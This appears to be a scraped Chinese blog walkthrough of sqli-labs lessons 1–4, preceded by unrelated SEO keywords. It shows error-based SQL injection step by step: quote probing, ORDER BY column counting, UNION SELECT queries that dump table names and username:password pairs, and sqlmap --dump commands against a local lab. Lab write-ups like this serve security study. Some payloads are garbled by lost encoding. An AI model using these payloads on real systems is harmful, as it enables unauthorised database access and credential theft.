o2o网站建设策划,旅游网站开发设计报告书,十大电子元器件采购商城,做网站有2个前提条件_一个是网站根据注入类型可将sql注入分为两类#xff1a;数字型和字符型 例如#xff1a; 数字型#xff1a; sleect * from table where if 用户输入id 字符型#xff1a;select * from table where id 用户输入id #xff08;有引号)
通过URL中修改对应的D值#xff0c;为正常数字…根据注入类型可将sql注入分为两类数字型和字符型 例如 数字型 sleect * from table where if 用户输入id 字符型select * from table where id 用户输入id 有引号)
通过URL中修改对应的D值为正常数字大数字字符单引号双引号双单引号括号反斜杠\来探测URL中是否存在注入点。
另外-- 这里有一个空格–空格在SQL内表示注释但在URL中如果在最后加上-- 浏览器在发送请求的时候会把URL末尾的空格舍去所以我们用–代替-- 原因是在URL被URL编码后会变成空格。
sqli-lab less 1~4基于报错的sql注入:
less1 GET - Error based - Single quotes - String 1.输入id值尝试报错点: ?id数字 发现在id值为1~14可以正常返回 2.在id值(任意可以正常返回的id值)后添加单引号,发现报错,可能存在sql字符注入,
可以得到,报错的sql语句为14 LIMIT 0,1,输入的引号闭合了id的前引号 猜测原sql语句为: select login_name,password from admin where id id limit 0,1
3.利用order by 判断有几列数据 http://127.0.0.1/sqli-labs-master/Less-1/?id1’ order by 3 -- 修改order by 后的值可发现1~3回显正常,order by 4 回显不正常,表示表有三列
4.使用union select statement : http://127.0.0.1/sqli-labs-master/Less-1/?id15’ UNION SELECT 1,2,3 -- 查看显示位,输出2和3说明有两个显示位
5.利用union select 联合查询,获取表名 0’union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase() --
6.利用union select 联合查询,查看users表下的列名: http://127.0.0.1/sqli-labs-master/Less-1/?id0’union select 1,group_concat(column_name),3 from information_schema.columns where table_name‘users’ --
7.利用union select 联合查询,查看username,password表下的字段值 http://127.0.0.1/sqli-labs-master/Less-1/?id0’ union select 1,group_concat(username,0x3a,password),3 from users– (0x3a表示分号) 得到所有的username和password
以上为手工注入过程,用sqlmap工具会更加方便快捷: python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id1 --dbspython sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id1 -D security --tablespython sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id1 -D security -T users -C username,password --dump得到username和password less2.GET-Error based-intiger based 和less1基本相同 less3 : Get-errsr based-single quotes with twist-string id1’ --回显不正常 id1’) --回显正常 说明是字符型注入 语句与less1 相同
-less4 : Get- error bassed - Double Quotes - string id1 用双引号回显不正常 id1’ 和 id1’) 都回显正常 可推测语句为 (id“1”) 是()双引号闭合型 http://127.0.0.1/sqli-labs-master/Less-4/?id1) -- 回显正常 之后使用union select 联合查询 显示列名,表明字段 参考: https://blog.csdn.net/sdb5858874/article/details/80727555 https://www.bilibili.com/video/BV1Q54y1D7VV?p4